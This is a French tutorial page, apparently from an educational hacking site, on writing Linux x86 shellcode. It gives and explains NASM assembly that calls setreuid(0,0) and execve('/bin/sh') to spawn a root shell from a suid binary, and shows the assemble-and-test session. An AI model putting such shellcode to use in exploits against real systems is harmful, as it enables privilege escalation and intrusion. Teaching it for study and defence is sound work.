La fabrication de Shellcode


N'utiliser que le segment code >>


I°) Ouverture d'un shell

Qu'est ce que le shellcode ?
   Le shellcode est une sorte de bytecode. Le bytecode est tout simplement du code éxécutable, une succession de bytes compréhensible pour votre système. Par exemple, quand vous ouvrez un logiciel à l'aide d'un éditeur texte, l'agencement des caractères que vous voyez n'est rien d'autre que la transposition en caractères ascii de ce bytecode. Le bytecode d'un programme contient les segments code, bss et data puisqu'ils sont statiques.
Le shellcode quant à lui est un bytecode destiné tout simplement à faire apparaître un shell, et plus spécifiquement, un shell root quand c'est possible. Notre premier but est donc de coder un programme en assembleur qui va lancer un shell, root s'il possède le bit suid.

Programmer l'affichage d'un shell
   Basiquement, un shellcode est composé de deux appels systèmes :
    - l'appel setreuid(), syscall 70, qui permet de changer l'effective user id et le real user id. En fait, le shellcode sert souvent à tirer profit d'un programme possédant le bit suid et appartenant au root (Suid Root Program). Souvent, ces programmes se séparent des privilèges du root dès qu'ils en ont l'occasion, question de sécurité. C'est pourquoi il est important d'utiliser l'appel setreuid, pour être sûr d'avoir les privilèges root, quoi qu'il puisse se passer dans le programme.
    La synthaxe de setreuid est setreuid(uid_t realuid, uid_t effectiveuid).

    - l'appel execve(), syscall 11, qui est un appel système d'éxécution de binaires qui va nous permettre d'éxécuter /bin/sh (apparition d'un shell). La synthaxe de execve est execve(const char *nomdufichier,char *const argv [], char *const environnementp []).
Au final, certains de vous auront peut-être reconnu l'architecture primaire de certains backdoor sous linux.
Passons maintenant à l'étude du code affichage-shell.asm suivant :
    ;affichage-shell.asm

    segment .data  ;déclaration du segment des variables initialisées et globales

     cheminshell db "/bin/sh0aaaabbbbb"  ;db déclare une chaine de caractères

    segment .text  ;declaration du segment de code

     global _start  ;point d'entrée pour le format ELF

      _start:  ;here we go


       mov eax,70  ;on met eax à 70 pour préparer l'appel à setreuid
       mov ebx,0  ;real uid 0 => root
       mov ecx,0  ;effective uid 0 => root
       int 0x80  ;Syscall 70

       mov eax,0  ;on met 0 dans eax
       mov ebx,cheminshell  ;on met l'adresse de cheminshell dans ebx
       mov [ebx+7],al  ;on met le 0 (de eax) 7 caractères après le début de la chaîne
                ;en fait, on réécrit le 0 de la chaine avec un nul byte
                ;al occupe 1 byte
       mov [ebx+8],ebx  ;on met l'addresse de la chaine 8 caractères après son début
                ;En fait, on réécrit aaaa par l'adresse de cheminshell
       mov [ebx+12],eax  ;12 caractères après le début, on met les 4 bytes de eax
                ;en fait, on réécrit bbbb par 0x00000000
       mov eax,11  ;on met eax à 11 pour préparer l'appel à execve
       lea ecx,[ebx+8]  ;on charge l'adresse de (anciennement) aaaa dans ecx
       lea edx,[ebx+12]  ;on charge l'adresse de (anciennement) bbbb dans edx
       int 0x80  ;Syscall 11
Il est sûr que sans une connaissance de l'assembleur, le dernier bloc (appel à execve()) peut paraître plutôt flou, voire carrément obscur... Nous allons donc expliciter ligne par ligne ce qui se passe :
  • Tout d'abord, on met le registre eax à 0 (0x00000000 puisque eax a 32 bits)

  • Ensuite, on copie l'adresse de cheminshell dans ebx
    A l'adresse pointée par ebx (&cheminshell), on a donc :
      0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
      / b i n / s h 0 a a a a b b b b \0

  • Maintenant, on copie le registre al (une byte de eax) à l'adresse pointée par ebx, +7
      0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
      / b i n / s h \0 a a a a b b b b \0

  • On copie ebx (disons 0x12345678) à l'adresse pointée par ebx, +8 (attention au little endian) :
      0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
      / b i n / s h \0 78 56 34 12 b b b b \0

  • On copie ensuite le registre eax (actuellement 0x00000000) à l'adresse pointée par ebx, +12
      0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
      / b i n / s h \0 78 56 34 12 \0 \0 \0 \0 \0

  • On met eax à 11 (préparation du syscall 11)

  • On charge l'adresse ebx + 8 (lea = Load Effective Address) dans ecx. ecx pointe donc vers ebx + 8 qui pointe vers ebx

  • On charge l'adresse ebx + 12 dans edx. edx pointe donc vers ebx + 12 qui pointe vers 0x00000000 (NULL pointer ou pointeur nul)

  • Enfin, On lance l'appel au kernel qui va lancer le syscall 11 (execve).

Ainsi, quand les arguments de la fonction execve() vont être lus, en premier, il y aura la chaîne "/bin/sh" (la lecture se terminant au nul byte), en deuxième, un pointeur vers un pointeur vers la ligne de commande (qui revient seulement à "/bin/sh" ici puisqu'il n'y a pas d'argument), et enfin un pointeur vers le pointeur NULL car on a pas besoin d'environnement de programmation spécifique. Au final, la manipulation effectuée dans ce dernier bloc avait juste pour but de créer des pointeurs vers des pointeurs, comme spécifié pour la synthaxe de execve().
Assemblons, linkons et testons ce programme :
    $ nasm affichage-shell.asm -o affichage-shell.o -f elf && ld -s affichage-shell.o -o affichage-shell && ./affichage-shell
    sh-3.1$
Il affiche bien un shell, maintenant, on mets le propriétariat du programme au root et à son groupe, puis on attribue au programme le bit suid pour vérifier qu'il nous donnera bien un shell root :
    $ su -
    Password:
    # chown root.root affichage-shell
    # chmod +s affichage-shell
    # exit
    logout
    $ ./affichage-shell
    sh-3.1# whoami
    root
    sh-3.1#
Parfait, notre programme marche comme prévu. Ceci dit, il ne peut pas encore constituer un réell shellcode, pour deux raisons :
   - on utilise le segment data pour stocker le buffer de /bin/sh. Or, le shellcode doit pouvoir être injecté en mémoire et directement éxécuté. Autrement dit, ça ne doit être qu'une suite d'instruction, qu'un segment code, puisqu'il n'aura pas une segmentation mémoire spécifique pendant son éxécution.
   - le deuxième problème est évident quand on le regarde dans un éditeur hexadécimal : il y a des 00 partout ! On rappelle que le shellcode doit être copié telle une chaîne de caractères. Autrement dit, s'il y a un null byte, la chaîne s'arrête et le shellcode est coupé (ainsi que le crafted buffer que l'on injectait).
Nous allons maintenant remédier à ces deux problèmes dans l'ordre.


N'utiliser que le segment code >>



47 Commentaires
Afficher tous


Renaud Carter 05/12/13 17:02
bon a savoir pour les débutants comme pour les pro!

Anonyme 26/11/13 08:53
cool

Anonyme 11/11/13 10:35
J'ai rien compris ^^

Anonyme 25/08/13 03:09
nice




Commentaires désactivés.

Apprendre la base du hacking - Liens sécurité informatique/hacking - Contact

Copyright © Bases-Hacking 2007-2014. All rights reserved.